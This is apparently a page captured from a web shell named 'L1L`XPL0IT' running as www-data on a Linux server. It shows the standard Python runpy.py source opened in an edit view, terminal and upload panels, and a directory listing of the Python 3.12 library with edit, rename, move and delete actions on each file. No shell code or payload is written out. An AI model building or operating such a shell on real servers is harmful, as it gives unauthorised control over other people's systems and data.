β‘ L1L`XPL0IT
8.2.34 | Linux | www-data (uid:33)
βοΈ Edit: runpy.py
π /snap/core24/2124/usr/lib/python3.12/runpy.py
"""runpy.py - locating and running Python code using the module namespace Provides support for locating and running Python scripts using the Python module namespace instead of the native filesystem. This allows Python code to play nicely with non-filesystem based PEP 302 importers when locating support scripts as well as when importing modules. """ # Written by Nick Coghlan <ncoghlan at gmail.com> # to implement PEP 338 (Executing Modules as Scripts) import sys import importlib.machinery # importlib first so we can test #15386 via -m import importlib.util import io import os __all__ = [ "run_module", "run_path", ] # avoid 'import types' just for ModuleType ModuleType = type(sys) class _TempModule(object): """Temporarily replace a module in sys.modules with an empty namespace""" def __init__(self, mod_name): self.mod_name = mod_name self.module = ModuleType(mod_name) self._saved_module = [] def __enter__(self): mod_name = self.mod_name try: self._saved_module.append(sys.modules[mod_name]) except KeyError: pass sys.modules[mod_name] = self.module return self def __exit__(self, *args): if self._saved_module: sys.modules[self.mod_name] = self._saved_module[0] else: del sys.modules[self.mod_name] self._saved_module = [] class _ModifiedArgv0(object): def __init__(self, value): self.value = value self._saved_value = self._sentinel = object() def __enter__(self): if self._saved_value is not self._sentinel: raise RuntimeError("Already preserving saved value") self._saved_value = sys.argv[0] sys.argv[0] = self.value def __exit__(self, *args): self.value = self._sentinel sys.argv[0] = self._saved_value # TODO: Replace these helpers with importlib._bootstrap_external functions. def _run_code(code, run_globals, init_globals=None, mod_name=None, mod_spec=None, pkg_name=None, script_name=None): """Helper to run code in nominated namespace""" if init_globals is not None: run_globals.update(init_globals) if mod_spec is None: loader = None fname = script_name cached = None else: loader = mod_spec.loader fname = mod_spec.origin cached = mod_spec.cached if pkg_name is None: pkg_name = mod_spec.parent run_globals.update(__name__ = mod_name, __file__ = fname, __cached__ = cached, __doc__ = None, __loader__ = loader, __package__ = pkg_name, __spec__ = mod_spec) exec(code, run_globals) return run_globals def _run_module_code(code, init_globals=None, mod_name=None, mod_spec=None, pkg_name=None, script_name=None): """Helper to run code in new namespace with sys modified""" fname = script_name if mod_spec is None else mod_spec.origin with _TempModule(mod_name) as temp_module, _ModifiedArgv0(fname): mod_globals = temp_module.module.__dict__ _run_code(code, mod_globals, init_globals, mod_name, mod_spec, pkg_name, script_name) # Copy the globals of the temporary module, as they # may be cleared when the temporary module goes away return mod_globals.copy() # Helper to get the full name, spec and code for a module def _get_module_details(mod_name, error=ImportError): if mod_name.startswith("."): raise error("Relative module names not supported") pkg_name, _, _ = mod_name.rpartition(".") if pkg_name: # Try importing the parent to avoid catching initialization errors try: __import__(pkg_name) except ImportError as e: # If the parent or higher ancestor package is missing, let the # error be raised by find_spec() below and then be caught. But do # not allow other errors to be caught. if e.name is None or (e.name != pkg_name and not pkg_name.startswith(e.name + ".")): raise # Warn if the module has already been imported under its normal name existing = sys.modules.get(mod_name) if existing is not None and not hasattr(existing, "__path__"): from warnings import warn msg = "{mod_name!r} found in sys.modules after import of " \ "package {pkg_name!r}, but prior to execution of " \ "{mod_name!r}; this may result in unpredictable " \ "behaviour".format(mod_name=mod_name, pkg_name=pkg_name) warn(RuntimeWarning(msg)) try: spec = importlib.util.find_spec(mod_name) except (ImportError, AttributeError, TypeError, ValueError) as ex: # This hack fixes an impedance mismatch between pkgutil and # importlib, where the latter raises other errors for cases where # pkgutil previously raised ImportError msg = "Error while finding module specification for {!r} ({}: {})" if mod_name.endswith(".py"): msg += (f". Try using '{mod_name[:-3]}' instead of " f"'{mod_name}' as the module name.") raise error(msg.format(mod_name, type(ex).__name__, ex)) from ex if spec is None: raise error("No module named %s" % mod_name) if spec.submodule_search_locations is not None: if mod_name == "__main__" or mod_name.endswith(".__main__"): raise error("Cannot use package as __main__ module") try: pkg_main_name = mod_name + ".__main__" return _get_module_details(pkg_main_name, error) except error as e: if mod_name not in sys.modules: raise # No module loaded; being a package is irrelevant raise error(("%s; %r is a package and cannot " + "be directly executed") %(e, mod_name)) loader = spec.loader if loader is None: raise error("%r is a namespace package and cannot be executed" % mod_name) try: code = loader.get_code(mod_name) except ImportError as e: raise error(format(e)) from e if code is None: raise error("No code object available for %s" % mod_name) return mod_name, spec, code class _Error(Exception): """Error that _run_module_as_main() should report without a traceback""" # XXX ncoghlan: Should this be documented and made public? # (Current thoughts: don't repeat the mistake that lead to its # creation when run_module() no longer met the needs of # mainmodule.c, but couldn't be changed because it was public) def _run_module_as_main(mod_name, alter_argv=True): """Runs the designated module in the __main__ namespace Note that the executed module will have full access to the __main__ namespace. If this is not desirable, the run_module() function should be used to run the module code in a fresh namespace. At the very least, these variables in __main__ will be overwritten: __name__ __file__ __cached__ __loader__ __package__ """ try: if alter_argv or mod_name != "__main__": # i.e. -m switch mod_name, mod_spec, code = _get_module_details(mod_name, _Error) else: # i.e. directory or zipfile execution mod_name, mod_spec, code = _get_main_module_details(_Error) except _Error as exc: msg = "%s: %s" % (sys.executable, exc) sys.exit(msg) main_globals = sys.modules["__main__"].__dict__ if alter_argv: sys.argv[0] = mod_spec.origin return _run_code(code, main_globals, None, "__main__", mod_spec) def run_module(mod_name, init_globals=None, run_name=None, alter_sys=False): """Execute a module's code without importing it. mod_name -- an absolute module name or package name. Optional arguments: init_globals -- dictionary used to pre-populate the moduleβs globals dictionary before the code is executed. run_name -- if not None, this will be used for setting __name__; otherwise, __name__ will be set to mod_name + '__main__' if the named module is a package and to just mod_name otherwise. alter_sys -- if True, sys.argv[0] is updated with the value of __file__ and sys.modules[__name__] is updated with a temporary module object for the module being executed. Both are restored to their original values before the function returns. Returns the resulting module globals dictionary. """ mod_name, mod_spec, code = _get_module_details(mod_name) if run_name is None: run_name = mod_name if alter_sys: return _run_module_code(code, init_globals, run_name, mod_spec) else: # Leave the sys module alone return _run_code(code, {}, init_globals, run_name, mod_spec) def _get_main_module_details(error=ImportError): # Helper that gives a nicer error message when attempting to # execute a zipfile or directory by invoking __main__.py # Also moves the standard __main__ out of the way so that the # preexisting __loader__ entry doesn't cause issues main_name = "__main__" saved_main = sys.modules[main_name] del sys.modules[main_name] try: return _get_module_details(main_name) except ImportError as exc: if main_name in str(exc): raise error("can't find %r module in %r" % (main_name, sys.path[0])) from exc raise finally: sys.modules[main_name] = saved_main def _get_code_from_file(run_name, fname): # Check for a compiled file first from pkgutil import read_code decoded_path = os.path.abspath(os.fsdecode(fname)) with io.open_code(decoded_path) as f: code = read_code(f) if code is None: # That didn't work, so try it as normal source code with io.open_code(decoded_path) as f: code = compile(f.read(), fname, 'exec') return code, fname def run_path(path_name, init_globals=None, run_name=None): """Execute code located at the specified filesystem location. path_name -- filesystem location of a Python script, zipfile, or directory containing a top level __main__.py script. Optional arguments: init_globals -- dictionary used to pre-populate the moduleβs globals dictionary before the code is executed. run_name -- if not None, this will be used to set __name__; otherwise, '<run_path>' will be used for __name__. Returns the resulting module globals dictionary. """ if run_name is None: run_name = "<run_path>" pkg_name = run_name.rpartition(".")[0] from pkgutil import get_importer importer = get_importer(path_name) if isinstance(importer, type(None)): # Not a valid sys.path entry, so run the code directly # execfile() doesn't help as we want to allow compiled files code, fname = _get_code_from_file(run_name, path_name) return _run_module_code(code, init_globals, run_name, pkg_name=pkg_name, script_name=fname) else: # Finder is defined for path, so add it to # the start of sys.path sys.path.insert(0, path_name) try: # Here's where things are a little different from the run_module # case. There, we only had to replace the module in sys while the # code was running and doing so was somewhat optional. Here, we # have no choice and we have to remove it even while we read the # code. If we don't do this, a __loader__ attribute in the # existing __main__ module may prevent location of the new module. mod_name, mod_spec, code = _get_main_module_details() with _TempModule(run_name) as temp_module, \ _ModifiedArgv0(path_name): mod_globals = temp_module.module.__dict__ return _run_code(code, mod_globals, init_globals, run_name, mod_spec, pkg_name).copy() finally: try: sys.path.remove(path_name) except ValueError: pass if __name__ == "__main__": # Run the module specified as the next command line argument if len(sys.argv) < 2: print("No module specified for execution", file=sys.stderr) else: del sys.argv[0] # Make the requested module sys.argv[0] _run_module_as_main(sys.argv[0])
Cancel
π» Terminal
π€ Upload
π
Click or Drag & Drop
π /snap/core24/2124/usr/lib/python3.12
/
/
snap
/
core24
/
2124
/
usr
/
lib
/
python3.12
Name
Size
Perm
Modified
Actions
π __phello__/
-
0755
2026-08-24 03:28
π Delete
π __pycache__/
-
0755
2026-08-24 03:28
π Delete
π asyncio/
-
0755
2026-08-24 03:28
π Delete
π collections/
-
0755
2026-08-24 03:28
π Delete
π concurrent/
-
0755
2026-08-24 03:28
π Delete
π ctypes/
-
0755
2026-08-24 03:28
π Delete
π curses/
-
0755
2026-08-24 03:28
π Delete
π dbm/
-
0755
2026-08-24 03:28
π Delete
π email/
-
0755
2026-08-24 03:28
π Delete
π encodings/
-
0755
2026-08-24 03:28
π Delete
π html/
-
0755
2026-08-24 03:28
π Delete
π http/
-
0755
2026-08-24 03:28
π Delete
π importlib/
-
0755
2026-08-24 03:28
π Delete
π json/
-
0755
2026-08-24 03:28
π Delete
π lib-dynload/
-
0755
2026-08-24 03:28
π Delete
π logging/
-
0755
2026-08-24 03:28
π Delete
π multiprocessing/
-
0755
2026-08-24 03:28
π Delete
π pydoc_data/
-
0755
2026-08-24 03:28
π Delete
π re/
-
0755
2026-08-24 03:28
π Delete
π sqlite3/
-
0755
2026-08-24 03:28
π Delete
π test/
-
0755
2026-08-24 03:28
π Delete
π tomllib/
-
0755
2026-08-24 03:28
π Delete
π unittest/
-
0755
2026-08-24 03:28
π Delete
π urllib/
-
0755
2026-08-24 03:28
π Delete
π venv/
-
0755
2026-08-24 03:28
π Delete
π wsgiref/
-
0755
2026-08-24 03:28
π Delete
π xml/
-
0755
2026-08-24 03:28
π Delete
π xmlrpc/
-
0755
2026-08-24 03:28
π Delete
π zipfile/
-
0755
2026-08-24 03:28
π Delete
π zoneinfo/
-
0755
2026-08-24 03:28
π Delete
EXTERNALLY-MANAGED
645B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
LICENSE.txt
13.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
__future__.py
5.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
__hello__.py
227B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_aix_support.py
3.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_collections_abc.py
31.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_compat_pickle.py
8.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_compression.py
5.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_distutils_system_mod.py
5.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_markupbase.py
14.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_osx_support.py
21.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_py_abc.py
6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_pydatetime.py
89.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_pydecimal.py
223.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_pyio.py
91.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_pylong.py
8.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_sitebuiltins.py
3.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_strptime.py
24K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_sysconfigdata__linux_x86_64-linux-gnu.py
48.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_sysconfigdata__x86_64-linux-gnu.py
48.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_threading_local.py
7.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_weakrefset.py
5.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
abc.py
6.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
aifc.py
33.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
antigravity.py
500B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
argparse.py
99.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
ast.py
62.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
base64.py
20.1K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
bdb.py
31.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
bisect.py
3.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
bz2.py
11.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
cProfile.py
6.4K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
calendar.py
24.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
cgi.py
33.6K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
cgitb.py
12.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
chunk.py
5.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
cmd.py
14.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
code.py
10.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
codecs.py
36K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
codeop.py
5.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
colorsys.py
4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
compileall.py
20.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
configparser.py
52.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
contextlib.py
27K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
contextvars.py
129B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
copy.py
8.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
copyreg.py
7.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
crypt.py
3.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
csv.py
16K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
dataclasses.py
60.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
datetime.py
268B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
decimal.py
320B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
difflib.py
81.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
dis.py
29.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
doctest.py
104K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
enum.py
79.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
filecmp.py
9.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
fileinput.py
15.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
fnmatch.py
5.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
fractions.py
37.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
ftplib.py
34.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
functools.py
37.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
genericpath.py
5.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
getopt.py
7.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
getpass.py
5.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
gettext.py
21.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
glob.py
8.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
graphlib.py
9.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
gzip.py
24.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
hashlib.py
9.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
heapq.py
22.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
hmac.py
7.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
imaplib.py
52.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
imghdr.py
4.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
inspect.py
122.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
io.py
3.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
ipaddress.py
76.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
keyword.py
1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
linecache.py
5.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
locale.py
76.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
lzma.py
13K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
mailbox.py
77.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
mailcap.py
9.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
mimetypes.py
22.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
modulefinder.py
23.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
netrc.py
6.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
nntplib.py
40.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
ntpath.py
29.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
nturl2path.py
2.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
numbers.py
11.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
opcode.py
12.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
operator.py
10.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
optparse.py
59K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
os.py
38.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pathlib.py
50K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pdb.py
67.8K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pickle.py
63.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pickletools.py
91.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pipes.py
8.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pkgutil.py
17.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
platform.py
42.3K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
plistlib.py
27.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
poplib.py
13.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
posixpath.py
17.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pprint.py
23.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
profile.py
22.6K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pstats.py
28.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pty.py
6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
py_compile.py
7.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pyclbr.py
11.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pydoc.py
110.4K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
queue.py
11.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
quopri.py
7K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
random.py
33.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
reprlib.py
6.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
rlcompleter.py
7.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
runpy.py
12.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sched.py
6.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
secrets.py
1.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
selectors.py
19.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
shelve.py
8.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
shlex.py
13K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
shutil.py
56.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
signal.py
2.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
site.py
23.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sitecustomize.py
B
0
1970-01-01 00:00
π View
βοΈ Edit
π Rename
π¦ Move
π Del
smtplib.py
42.5K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sndhdr.py
7.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
socket.py
36.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
socketserver.py
27.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sre_compile.py
231B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sre_constants.py
232B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sre_parse.py
229B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
ssl.py
49.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
stat.py
5.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
statistics.py
49K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
string.py
11.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
stringprep.py
12.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
struct.py
257B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
subprocess.py
86.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sunau.py
18K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
symtable.py
10.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sysconfig.py
32K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
tabnanny.py
11.3K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
tarfile.py
111.2K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
telnetlib.py
22.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
tempfile.py
36.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
textwrap.py
19.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
this.py
1003B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
threading.py
58.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
timeit.py
13.1K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
token.py
2.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
tokenize.py
20.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
trace.py
28.5K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
traceback.py
45.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
tracemalloc.py
17.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
tty.py
2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
turtle.py
142.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
types.py
10.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
typing.py
114.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
uu.py
7.2K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
uuid.py
29K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
warnings.py
21.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
wave.py
22.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
weakref.py
21K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
webbrowser.py
23.6K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
xdrlib.py
5.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
zipapp.py
7.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
zipimport.py
27.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del